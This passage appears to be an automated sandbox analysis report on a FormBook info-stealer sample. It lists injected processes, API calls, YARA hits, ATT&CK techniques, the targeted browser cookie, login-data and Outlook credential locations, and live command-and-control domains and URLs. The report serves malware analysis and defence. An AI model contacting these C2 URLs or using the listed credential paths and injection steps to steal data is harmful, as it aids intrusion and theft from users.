            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0091E2A5 mouse_event,0_2_0091E2A5
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe"Jump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeProcess created: C:\Windows\SysWOW64\RmClient.exe "C:\Windows\SysWOW64\RmClient.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00910AA6 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,RtlAllocateHeap,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,0_2_00910AA6
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009115A7 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_009115A7
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: @EXITMETHOD@EXITCODEShell_TrayWnd%s#comments-end#ceCALLGUICTRLREGISTERLISTVIEWSORTGUICTRLCREATELISTVIEWITEMGUICTRLCREATETREEVIEWITEMGUICTRLCREATECONTEXTMENUONAUTOITEXITUNREGISTERGUICTRLCREATELISTVIEWGUICTRLCREATEMENUITEMGUICTRLCREATECHECKBOXGUICTRLCREATEMONTHCALGUICTRLCREATEPROGRESSGUICTRLCREATETREEVIEWGUICTRLCREATEGRAPHICSTRINGFROMASCIIARRAYONAUTOITEXITREGISTERGUICTRLCREATETABITEMGUICTRLSETDEFBKCOLORINIREADSECTIONNAMESGUICTRLCREATEBUTTONDLLCALLBACKREGISTERGUICTRLCREATEUPDOWNGUICTRLCREATESLIDERSTRINGREGEXPREPLACEOBJCREATEINTERFACEGUICTRLSENDTODUMMYFILECREATESHORTCUTGUICTRLCREATEINPUTSOUNDSETWAVEVOLUMEFILECREATENTFSLINKGUISETACCELERATORSGUICTRLCREATECOMBOGUICTRLSETDEFCOLORPROCESSSETPRIORITYGUICTRLSETRESIZINGSTRINGTOASCIIARRAYDRIVEGETFILESYSTEMGUICTRLCREATEDUMMYTRAYITEMSETONEVENTGUICTRLCREATERADIOWINMINIMIZEALLUNDOGUICTRLCREATEGROUPGUICTRLCREATELABELAUTOITWINSETTITLEGUICTRLSETBKCOLORAUTOITWINGETTITLEGUICTRLSETGRAPHICGUICTRLCREATEDATEGUICTRLCREATEICONGUICTRLSETONEVENTCONSOLEWRITEERRORDLLCALLBACKGETPTRGUICTRLCREATELISTTRAYITEMGETHANDLEFILEFINDFIRSTFILEGUICTRLCREATEEDITGUICTRLCREATEMENUWINMENUSELECTITEMGUICTRLSETCURSORDLLSTRUCTGETDATASTATUSBARGETTEXTFILERECYCLEEMPTYFILESELECTFOLDERTRAYITEMSETSTATEDLLSTRUCTSETDATATRAYITEMGETSTATEWINGETCLIENTSIZEGUICTRLCREATEAVIHTTPSETUSERAGENTGUICTRLCREATEPICCONTROLGETHANDLEGUIGETCURSORINFOTRAYSETPAUSEICONFILEFINDNEXTFILEINIRENAMESECTIONDLLSTRUCTGETSIZESHELLEXECUTEWAITPROCESSWAITCLOSEGUICTRLCREATETABFILEGETSHORTNAMEWINWAITNOTACTIVEGUICTRLCREATEOBJGUICTRLGETHANDLESTRINGTRIMRIGHTGUICTRLSETLIMITGUICTRLSETIMAGEINIWRITESECTIONCONTROLTREEVIEWAUTOITSETOPTIONGUICTRLSETCOLORDLLSTRUCTGETPTRADLIBUNREGISTERDRIVESPACETOTALGUICTRLSETSTATEWINGETCLASSLISTGUICTRLGETSTATEFILEGETSHORTCUTDLLSTRUCTCREATEPROCESSGETSTATSCONTROLGETFOCUSDLLCALLBACKFREEGUICTRLSETSTYLEFILEREADTOARRAYTRAYITEMSETTEXTCONTROLLISTVIEWTRAYITEMGETTEXTFILEGETENCODINGFILEGETLONGNAMEGUICTRLSENDMSGSENDKEEPACTIVEDRIVESPACEFREEFILEOPENDIALOGGUICTRLRECVMSGCONTROLCOMMANDSTRINGTOBINARYWINMINIMIZEALLSTRINGISXDIGITTRAYSETONEVENTFILESAVEDIALOGDUMMYSPEEDTESTCONTROLGETTEXTMOUSECLICKDRAGGUICTRLSETFONTMOUSEGETCURSORWINGETCARETPOSCONTROLSETTEXTTRAYITEMDELETESTRINGTRIMLEFTDRIVEGETSERIALBINARYTOSTRINGGUICTRLSETDATAINIREADSECTIONUDPCLOSESOCKETCONTROLDISABLETRAYCREATEMENUTCPCLOSESOCKETDLLCALLADDRESSFILEGETVERSIONGUIREGISTERMSGTRAYSETTOOLTIPTRAYCREATEITEMDRIVEGETDRIVESTRINGISASCIISTRINGCOMPARESTRINGISALPHAPROCESSEXISTSSTRINGREVERSESTRINGSTRIPCRSPLASHIMAGEONGUICTRLSETTIPGUISTARTGROUPCONTROLGETPOSFILEGETATTRIBADLIBREGISTERDRIVESETLABELGUICTRLDELETEFILECHANGEDIRFILEWRITELINEPIXELCHECKSUMDRIVEGETLABELGUICTRLSETPOSGUISETBKCOLORPIXELGETCOLORSTRINGISDIGITSTRINGISFLOATWINWAITACTIVESTRINGISALNUMSTRINGISLOWERSTRINGISSPACEGUISETONEVENTSTRINGREPLACESTRINGSTRIPWSCONTROLENABLESTRINGISUPPERWINGETPROCESSFILESETATTRIBCONTROLFOCUSFILEREADLINEPROCESSCLOSEGUISETCURSORSPLASHTEXTONSTRINGFORMATTRAYSETSTATESTRINGREGEXPCONTROLCLICKSHELLEXECUTETRAYSETCLICKWINWAITCLOSEHTTPSETPROXYDRIVEGETTYPEWINGETHANDLECONSOLEWRITEG
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, ORAQROHXYZcgef.exe, 00000005.00000002.3583461637.0000000001090000.00000002.00000001.00040000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000005.00000000.2149591953.0000000001090000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
            Source: ORAQROHXYZcgef.exe, 00000005.00000002.3583461637.0000000001090000.00000002.00000001.00040000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000005.00000000.2149591953.0000000001090000.00000002.00000001.00040000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000007.00000000.2310379376.00000000016C0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
            Source: ORAQROHXYZcgef.exe, 00000005.00000002.3583461637.0000000001090000.00000002.00000001.00040000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000005.00000000.2149591953.0000000001090000.00000002.00000001.00040000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000007.00000000.2310379376.00000000016C0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
            Source: ORAQROHXYZcgef.exe, 00000005.00000002.3583461637.0000000001090000.00000002.00000001.00040000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000005.00000000.2149591953.0000000001090000.00000002.00000001.00040000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000007.00000000.2310379376.00000000016C0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: }Program Manager
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D0618 cpuid 0_2_008D0618
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009280B3 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,0_2_009280B3
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0090DA16 GetUserNameW,0_2_0090DA16
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008EBB0F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_008EBB0F
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008B615E GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_008B615E

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000006.00000002.3582283937.0000000000140000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2230993279.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3583910369.0000000002770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2230760377.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3582610817.0000000002600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2231650264.0000000004550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3583965590.0000000003120000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\SysWOW64\RmClient.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Windows\SysWOW64\RmClient.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeBinary or memory string: WIN_81
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeBinary or memory string: WIN_XP
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeBinary or memory string: WIN_XPe
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeBinary or memory string: WIN_VISTA
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeBinary or memory string: WIN_7
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeBinary or memory string: WIN_8

            Remote Access Functionality

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000006.00000002.3582283937.0000000000140000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2230993279.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3583910369.0000000002770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2230760377.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3582610817.0000000002600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2231650264.0000000004550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3583965590.0000000003120000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0093112B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,0_2_0093112B
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0093172D socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_0093172D

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire Infrastructure2
            Valid Accounts            		1
            Native API            		1
            DLL Side-Loading            		1
            Exploitation for Privilege Escalation            		1
            Disable or Modify Tools            		1
            OS Credential Dumping            		2
            System Time Discovery            		Remote Services1
            Archive Collected Data            		4
            Ingress Tool Transfer            		Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault AccountsScheduled Task/Job2
            Valid Accounts            		1
            Abuse Elevation Control Mechanism            		1
            Deobfuscate/Decode Files or Information            		21
            Input Capture            		1
            Account Discovery            		Remote Desktop Protocol1
            Data from Local System            		1
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            DLL Side-Loading            		1
            Abuse Elevation Control Mechanism            		Security Account Manager2
            File and Directory Discovery            		SMB/Windows Admin Shares1
            Email Collection            		4
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
            Valid Accounts            		31
            Obfuscated Files or Information            		NTDS116
            System Information Discovery            		Distributed Component Object Model21
            Input Capture            		4
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
            Access Token Manipulation            		1
            Software Packing            		LSA Secrets241
            Security Software Discovery            		SSH3
            Clipboard Data            		Fallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
            Process Injection            		1
            DLL Side-Loading            		Cached Domain Credentials12
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
            Valid Accounts            		DCSync3
            Process Discovery            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job12
            Virtualization/Sandbox Evasion            		Proc Filesystem11
            Application Window Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt21
            Access Token Manipulation            		/etc/passwd and /etc/shadow1
            System Owner/User Discovery            		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
            IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron412
            Process Injection            		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1510970 Sample: SecuriteInfo.com.Win32.Malw... Startdate: 13/09/2024 Architecture: WINDOWS Score: 100 28 www.weatherbook.live 2->28 30 www.tempatmudisini01.click 2->30 32 10 other IPs or domains 2->32 42 Suricata IDS alerts for network traffic 2->42 44 Malicious sample detected (through community Yara rule) 2->44 46 Antivirus / Scanner detection for submitted sample 2->46 48 5 other signatures 2->48 10 SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe 2 2->10         started        signatures3 process4 signatures5 60 Binary is likely a compiled AutoIt script file 10->60 62 Found API chain indicative of sandbox detection 10->62 64 Writes to foreign memory regions 10->64 66 2 other signatures 10->66 13 svchost.exe 10->13         started        process6 signatures7 68 Maps a DLL or memory area into another process 13->68 16 ORAQROHXYZcgef.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 RmClient.exe 13 16->19         started        process10 signatures11 50 Tries to steal Mail credentials (via file / registry access) 19->50 52 Tries to harvest and steal browser information (history, passwords, etc) 19->52 54 Modifies the context of a thread in another process (thread injection) 19->54 56 3 other signatures 19->56 22 ORAQROHXYZcgef.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 airbatchnow.online 15.197.225.128, 49750, 49751, 49752 TANDEMUS United States 22->34 36 www.gemtastic.shop 194.195.220.41, 49746, 49747, 49748 NEXINTO-DE Germany 22->36 38 4 other IPs or domains 22->38 58 Found direct / indirect Syscall (likely to bypass EDR) 22->58 signatures14

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe42%ReversingLabs
            SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe100%AviraHEUR/AGEN.1314776
            SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe100%Joe Sandbox ML

            Dropped Files

            ⊘No Antivirus matches

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            https://duckduckgo.com/chrome_newtab0%URL Reputationsafe
            https://duckduckgo.com/ac/?q=0%URL Reputationsafe
            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%URL Reputationsafe
            https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=0%URL Reputationsafe
            https://www.ecosia.org/newtab/0%URL Reputationsafe
            https://ac.ecosia.org/autocomplete?q=0%URL Reputationsafe
            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search0%URL Reputationsafe
            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=0%URL Reputationsafe
            http://www.weatherbook.live/f16b/?RBEDm=CZp0JDSHidn4fXc&4N=yRqtf/h8NNWEJSRTjADVftGKWfUTDrEQ2z3S1p+uVNu5nTwP64DUcjBPfEhLfjmAIKSCpSnh7hZpBoBKzMqWV4LbWGVJDdFJlhrrMZ3qGPbmIdEufojbbKI=0%Avira URL Cloudsafe
            http://www.filelabel.info/z6kq/?4N=bmvBqOFTp4JT+uMd1qAjxjsooXgcWApZ2hy00dGXE/EHLUOh31d+gItaXdwR0EhAvEv1PFbZE4a6Qvx04s9f7DO6vj73IEDziUKJOJ9cSNkW/JV3l24UMG4=&RBEDm=CZp0JDSHidn4fXc0%Avira URL Cloudsafe
            http://www.luismoreno.monster/3t5s/0%Avira URL Cloudsafe
            http://www.luismoreno.monster0%Avira URL Cloudsafe
            http://www.gemtastic.shop/junu?gp=1&js=1&uuid=1726248682.9783899546&other_args=eyJ1cmkiOiAiL2p1bnUiL0%Avira URL Cloudsafe
            http://www.gemtastic.shop/junu/0%Avira URL Cloudsafe
            http://www.qmmkl.buzz/o30j/?4N=1yCKC9vxOtWMTPaOJgyLEtiq9/sbJyO2oy08E94PP7q+DYsIZuqv6el04nIEaLMbtnEtPCSmAGf5AtXfyPmsRuGvldH0TMH/TZ/pyZwW/ceUaGtf+vHhios=&RBEDm=CZp0JDSHidn4fXc0%Avira URL Cloudsafe
            http://www.weatherbook.live/f16b/0%Avira URL Cloudsafe
            http://www.airbatchnow.online/61ud/0%Avira URL Cloudsafe
            http://www.tempatmudisini01.click/r9rj/?4N=aogCWYQt76vYu0d4luZRp+fpF4NfPnj2O7M7hRst638B8YbrbYp757OzsKpEGT6sefQSU1s6IdJJ4zJyggemFFoDICvh6C9DXBpfqxijk0cweu2uAMh3EgI=&RBEDm=CZp0JDSHidn4fXc0%Avira URL Cloudsafe
            http://www.tempatmudisini01.click/r9rj/0%Avira URL Cloudsafe
            http://www.qmmkl.buzz/o30j/0%Avira URL Cloudsafe
            http://www.luismoreno.monster/3t5s/?RBEDm=CZp0JDSHidn4fXc&4N=J+pgKEY4jhOGHRm1OdtIGyQNufdjV05lDOa6EPhtVEvBE7NkekcBgh6NmTxhkIXGd3q71wRb9pYcuSS+PjWA+ytV98iLu4MLifm6YZlEH2HZyoyRqozUGRs=0%Avira URL Cloudsafe
            http://www70.gemtastic.shop/0%Avira URL Cloudsafe
            http://www.gemtastic.shop/junu/?4N=13JVMLJJH+qIBC3bKO+NOYsZ+zFZu1zvRFVHRIKX7SkP/tydC7ina607qstATGZ/7IHAI/6FpDeM8WkxnZQaP/hPkjdRncE64pLZQJxXMJS4z1rdgqbrJyk=&RBEDm=CZp0JDSHidn4fXc0%Avira URL Cloudsafe
            http://www.airbatchnow.online/61ud/?RBEDm=CZp0JDSHidn4fXc&4N=2DBHbBoX2+6nb8C0Yibv3MqYBPhH+NlFRg1Nmu0/ZA2WoX/U3YhT23vFQ76/xgNi1iI7jMUPHnRz5HyHcx3d1WSupjI/OO0+3Ph0io731eiQgdga4T5UO0k=0%Avira URL Cloudsafe
            http://tempatmudisini01.click/r9rj/?4N=aogCWYQt76vYu0d4luZRp0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            tempatmudisini01.click
            		103.21.221.4
            		truetrue
              		unknown
              www.qmmkl.buzz
              		199.115.230.222
              		truetrue
                		unknown
                airbatchnow.online
                		15.197.225.128
                		truetrue
                  		unknown
                  www.luismoreno.monster
                  		192.241.156.136
                  		truetrue
                    		unknown
                    weatherbook.live
                    		3.33.130.190
                    		truetrue
                      		unknown
                      www.cenfresh.life
                      		199.192.21.169
                      		truefalse
                        		unknown
                        filelabel.info
                        		3.33.130.190
                        		truetrue
                          		unknown
                          www.gemtastic.shop
                          		194.195.220.41
                          		truetrue
                            		unknown
                            www.airbatchnow.online
                            		unknown
                            		unknowntrue
                              		unknown
                              www.filelabel.info
                              		unknown
                              		unknowntrue
                                		unknown
                                www.weatherbook.live
                                		unknown
                                		unknowntrue
                                  		unknown
                                  www.tempatmudisini01.click
                                  		unknown
                                  		unknowntrue
                                    		unknown

                                    Contacted URLs

                                    NameMaliciousAntivirus DetectionReputation
                                    http://www.weatherbook.live/f16b/true
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.luismoreno.monster/3t5s/true
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.filelabel.info/z6kq/?4N=bmvBqOFTp4JT+uMd1qAjxjsooXgcWApZ2hy00dGXE/EHLUOh31d+gItaXdwR0EhAvEv1PFbZE4a6Qvx04s9f7DO6vj73IEDziUKJOJ9cSNkW/JV3l24UMG4=&RBEDm=CZp0JDSHidn4fXctrue
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.weatherbook.live/f16b/?RBEDm=CZp0JDSHidn4fXc&4N=yRqtf/h8NNWEJSRTjADVftGKWfUTDrEQ2z3S1p+uVNu5nTwP64DUcjBPfEhLfjmAIKSCpSnh7hZpBoBKzMqWV4LbWGVJDdFJlhrrMZ3qGPbmIdEufojbbKI=true
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.gemtastic.shop/junu/true
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.qmmkl.buzz/o30j/?4N=1yCKC9vxOtWMTPaOJgyLEtiq9/sbJyO2oy08E94PP7q+DYsIZuqv6el04nIEaLMbtnEtPCSmAGf5AtXfyPmsRuGvldH0TMH/TZ/pyZwW/ceUaGtf+vHhios=&RBEDm=CZp0JDSHidn4fXctrue
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.tempatmudisini01.click/r9rj/?4N=aogCWYQt76vYu0d4luZRp+fpF4NfPnj2O7M7hRst638B8YbrbYp757OzsKpEGT6sefQSU1s6IdJJ4zJyggemFFoDICvh6C9DXBpfqxijk0cweu2uAMh3EgI=&RBEDm=CZp0JDSHidn4fXctrue
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.airbatchnow.online/61ud/true
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.tempatmudisini01.click/r9rj/true
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.qmmkl.buzz/o30j/true
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.luismoreno.monster/3t5s/?RBEDm=CZp0JDSHidn4fXc&4N=J+pgKEY4jhOGHRm1OdtIGyQNufdjV05lDOa6EPhtVEvBE7NkekcBgh6NmTxhkIXGd3q71wRb9pYcuSS+PjWA+ytV98iLu4MLifm6YZlEH2HZyoyRqozUGRs=true
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.airbatchnow.online/61ud/?RBEDm=CZp0JDSHidn4fXc&4N=2DBHbBoX2+6nb8C0Yibv3MqYBPhH+NlFRg1Nmu0/ZA2WoX/U3YhT23vFQ76/xgNi1iI7jMUPHnRz5HyHcx3d1WSupjI/OO0+3Ph0io731eiQgdga4T5UO0k=true
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.gemtastic.shop/junu/?4N=13JVMLJJH+qIBC3bKO+NOYsZ+zFZu1zvRFVHRIKX7SkP/tydC7ina607qstATGZ/7IHAI/6FpDeM8WkxnZQaP/hPkjdRncE64pLZQJxXMJS4z1rdgqbrJyk=&RBEDm=CZp0JDSHidn4fXctrue
                                    • Avira URL Cloud: safe
                                    		unknown

                                    URLs from Memory and Binaries

                                    NameSourceMaliciousAntivirus DetectionReputation
